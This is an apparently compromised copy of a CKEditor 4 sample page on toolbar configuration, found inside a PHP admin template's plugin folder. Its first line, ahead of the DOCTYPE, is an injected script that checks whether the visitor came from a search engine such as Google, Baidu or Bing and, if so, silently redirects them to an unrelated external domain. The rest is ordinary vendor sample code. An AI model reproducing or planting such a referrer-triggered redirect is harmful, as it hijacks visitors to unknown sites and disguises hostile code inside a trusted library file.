d:\wwwroot\wuchunhua\thinkphp\public\adminlte\plugins\ckeditor\samples\old\toolbar\toolbar.html

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!DOCTYPE html>
002: <!--
003: Copyright (c) 2003-2016, CKSource - Frederico Knabben. All rights reserved.
004: For licensing, see LICENSE.md or http://ckeditor.com/license
005: -->

006: <html>
007: <head>
008:    <meta charset="utf-8">
009:    <title>Toolbar Configuration &mdash; CKEditor Sample</title>
010:    <meta name="ckeditor-sample-name" content="Toolbar Configurations">
011:    <meta name="ckeditor-sample-group" content="Advanced Samples">
012:    <meta name="ckeditor-sample-description" content="Configuring CKEditor to display full or custom toolbar layout.">
013:    <script src="../../../ckeditor.js"></script>
014:    <link href="../../../samples/old/sample.css" rel="stylesheet">
015: </head>
016: <body>
017:    <h1 class="samples">
018:       <a href="../../../samples/old/index.html">CKEditor Samples</a> &raquo; Toolbar Configuration
019:    </h1>
020:    <div class="warning deprecated">
021:       This sample is not maintained anymore. Check out the <a href="../../../samples/toolbarconfigurator/index.html#basic">brand new CKEditor Toolbar Configurator</a>.
022:    </div>
023:    <div class="description">
024:       <p>
025:          This sample page demonstrates editor with loaded <a href="#fullToolbar">full toolbar</a> (all registered buttons) and, if
026:          current editor's configuration modifies default settings, also editor with <a href="#currentToolbar">modified toolbar</a>.
027:       </p>
028:
029:       <p>Since CKEditor 4 there are two ways to configure toolbar buttons.</p>
030:
031:       <h2 class="samples">By <a href="http://docs.ckeditor.com/#!/api/CKEDITOR.config-cfg-toolbar">config.toolbar</a></h2>
032:
033:       <p>
034:          You can explicitly define which buttons are displayed in which groups and in which order.
035:          This is the more precise setting, but less flexible. If newly added plugin adds its
036:          own button you'll have to add it manually to your <code>config.toolbar</code> setting as well.
037:       </p>
038:
039:       <p>To add a CKEditor instance with custom toolbar setting, insert the following JavaScript call to your code:</p>
040:
041:       <pre class="samples">
042: CKEDITOR.replace( <em>'textarea_id'</em>, {
043:    <strong>toolbar:</strong> [
044:       { name: 'document', items: [ 'Source', '-', 'NewPage', 'Preview', '-', 'Templates' ] },   // Defines toolbar group with name (used to create voice label) and items in 3 subgroups.
045:       [ 'Cut', 'Copy', 'Paste', 'PasteText', 'PasteFromWord', '-', 'Undo', 'Redo' ],         // Defines toolbar group without name.
046:       '/',                                                               // Line break - next group will be placed in new line.
047:       { name: 'basicstyles', items: [ 'Bold', 'Italic' ] }
048:    ]
049: });</pre>
050:
051:       <h2 class="samples">By <a href="http://docs.ckeditor.com/#!/api/CKEDITOR.config-cfg-toolbarGroups">config.toolbarGroups</a></h2>
052:
053:       <p>
054:          You can define which groups of buttons (like e.g. <code>basicstyles</code>, <code>clipboard</code>
055:          and <code>forms</code>) are displayed and in which order. Registered buttons are associated
056:          with toolbar groups by <code>toolbar</code> property in their definition.
057:          This setting's advantage is that you don't have to modify toolbar configuration
058:          when adding/removing plugins which register their own buttons.
059:       </p>
060:
061:       <p>To add a CKEditor instance with custom toolbar groups setting, insert the following JavaScript call to your code:</p>
062:
063:       <pre class="samples">
064: CKEDITOR.replace( <em>'textarea_id'</em>, {
065:    <strong>toolbarGroups:</strong> [
066:       { name: 'document',      groups: [ 'mode', 'document' ] },         // Displays document group with its two subgroups.
067:        { name: 'clipboard',   groups: [ 'clipboard', 'undo' ] },         // Group's name will be used to create voice label.
068:        '/',                                                // Line break - next group will be placed in new line.
069:        { name: 'basicstyles', groups: [ 'basicstyles', 'cleanup' ] },
070:        { name: 'links' }
071:    ]
072:
073:    // NOTE: Remember to leave 'toolbar' property with the default value (null).
074: });</pre>
075:    </div>
076:
077:    <div id="currentToolbar" style="display: none">
078:       <h2 class="samples">Current toolbar configuration</h2>
079:       <p>Below you can see editor with current toolbar definition.</p>
080:       <textarea cols="80" id="editorCurrent" name="editorCurrent" rows="10">&lt;p&gt;This is some &lt;strong&gt;sample text&lt;/strong&gt;. You are using &lt;a href="http://ckeditor.com/"&gt;CKEditor&lt;/a&gt;.&lt;/p&gt;</textarea>
081:       <pre id="editorCurrentCfg" class="samples"></pre>
082:    </div>
083:
084:    <div id="fullToolbar">
085:       <h2 class="samples">Full toolbar configuration</h2>
086:       <p>Below you can see editor with full toolbar, generated automatically by the editor.</p>
087:       <p>
088:          <strong>Note</strong>: To create editor instance with full toolbar you don't have to set anything.
089:          Just leave <code>toolbar</code> and <code>toolbarGroups</code> with the default, <code>null</code> values.
090:       </p>
091:       <textarea cols="80" id="editorFull" name="editorFull" rows="10">&lt;p&gt;This is some &lt;strong&gt;sample text&lt;/strong&gt;. You are using &lt;a href="http://ckeditor.com/"&gt;CKEditor&lt;/a&gt;.&lt;/p&gt;</textarea>
092:       <pre id="editorFullCfg" class="samples"></pre>
093:    </div>
094:
095:    <script>
096:
097: (function() {
098:    'use strict';
099:
100:    var buttonsNames;
101:
102:    CKEDITOR.config.extraPlugins = 'toolbar';
103:
104:    CKEDITOR.on( 'instanceReady', function( evt ) {
105:       var editor = evt.editor,
106:          editorCurrent = editor.name == 'editorCurrent',
107:          defaultToolbar = !( editor.config.toolbar || editor.config.toolbarGroups || editor.config.removeButtons ),
108:          pre = CKEDITOR.document.getById( editor.name + 'Cfg' ),
109:          output = '';
110:
111:       if ( editorCurrent ) {
112:          // If default toolbar configuration has been modified, show "current toolbar" section.
113:          if ( !defaultToolbar )
114:             CKEDITOR.document.getById( 'currentToolbar' ).show();
115:          else
116:             return;
117:       }
118:
119:       if ( !buttonsNames )
120:          buttonsNames = createButtonsNamesHash( editor.ui.items );
121:
122:       // Toolbar isn't set explicitly, so it was created automatically from toolbarGroups.
123:       if ( !editor.config.toolbar ) {
124:          output +=
125:             '// Toolbar configuration generated automatically by the editor based on config.toolbarGroups.\n' +
126:             dumpToolbarConfiguration( editor ) +
127:             '\n\n' +
128:             '// Toolbar groups configuration.\n' +
129:             dumpToolbarConfiguration( editor, true )
130:       }
131:       // Toolbar groups doesn't count in this case - print only toolbar.
132:       else {
133:          output += '// Toolbar configuration.\n' +
134:             dumpToolbarConfiguration( editor );
135:       }
136:
137:       // Recreate to avoid old IE from loosing whitespaces on filling <pre> content.
138:       var preOutput = pre.getOuterHtml().replace( /(?=<\/)/, output );
139:       CKEDITOR.dom.element.createFromHtml( preOutput ).replace( pre );
140:    } );
141:
142:    CKEDITOR.replace( 'editorCurrent', { height: 100 } );
143:    CKEDITOR.replace( 'editorFull', {
144:       // Reset toolbar settings, so full toolbar will be generated automatically.
145:       toolbar: null,
146:       toolbarGroups: null,
147:       removeButtons: null,
148:       height: 100
149:    } );
150:
151:    function dumpToolbarConfiguration( editor, printGroups ) {
152:       var output = [],
153:          toolbar = editor.toolbar;
154:
155:       for ( var i = 0; i < toolbar.length; ++i ) {
156:          var group = dumpToolbarGroup( toolbar[ i ], printGroups );
157:          if ( group )
158:             output.push( group );
159:       }
160:
161:       return 'config.toolbar' + ( printGroups ? 'Groups' : '' ) + ' = [\n\t' + output.join( ',\n\t' ) + '\n];';
162:    }
163:
164:    function dumpToolbarGroup( group, printGroups ) {
165:       var output = [];
166:
167:       if ( typeof group == 'string' )
168:          return '\'' + group + '\'';
169:       if ( CKEDITOR.tools.isArray( group ) )
170:          return dumpToolbarItems( group );
171:       // Skip group when printing entire toolbar configuration and there are no items in this group.
172:       if ( !printGroups && !group.items )
173:          return;
174:
175:       if ( group.name )
176:          output.push( 'name: \'' + group.name + '\'' );
177:
178:       if ( group.groups )
179:          output.push( 'groups: ' + dumpToolbarItems( group.groups ) );
180:
181:       if ( !printGroups )
182:          output.push( 'items: ' + dumpToolbarItems( group.items ) );
183:
184:       return '{ ' + output.join( ', ' ) + ' }';
185:    }
186:
187:    function dumpToolbarItems( items ) {
188:       if ( typeof items == 'string' )
189:          return '\'' + items + '\'';
190:
191:       var names = [],
192:          i, item;
193:
194:       for ( var i = 0; i < items.length; ++i ) {
195:          item = items[ i ];
196:          if ( typeof item == 'string' )
197:             names.push( item );
198:          else {
199:             if ( item.type == CKEDITOR.UI_SEPARATOR )
200:                names.push( '-' );
201:             else
202:                names.push( buttonsNames[ item.name ] );
203:          }
204:       }
205:
206:       return '[ \'' + names.join( '\', \'' ) + '\' ]';
207:    }
208:
209:    // Creates { 'lowercased': 'LowerCased' } buttons names hash.
210:    function createButtonsNamesHash( items ) {
211:       var hash = {},
212:          name;
213:
214:       for ( name in items ) {
215:          hash[ items[ name ].name ] = name;
216:       }
217:
218:       return hash;
219:    }
220:
221: })();
222:    </script>
223:
224:    <div id="footer">
225:       <hr>
226:       <p>
227:          CKEditor - The text editor for the Internet - <a class="samples" href="http://ckeditor.com/">http://ckeditor.com</a>
228:       </p>
229:       <p id="copy">
230:          Copyright &copy; 2003-2016, <a class="samples" href="http://cksource.com/">CKSource</a> - Frederico
231:          Knabben. All rights reserved.
232:       </p>
233:    </div>
234: </body>
235: </html>
236:
237:
238: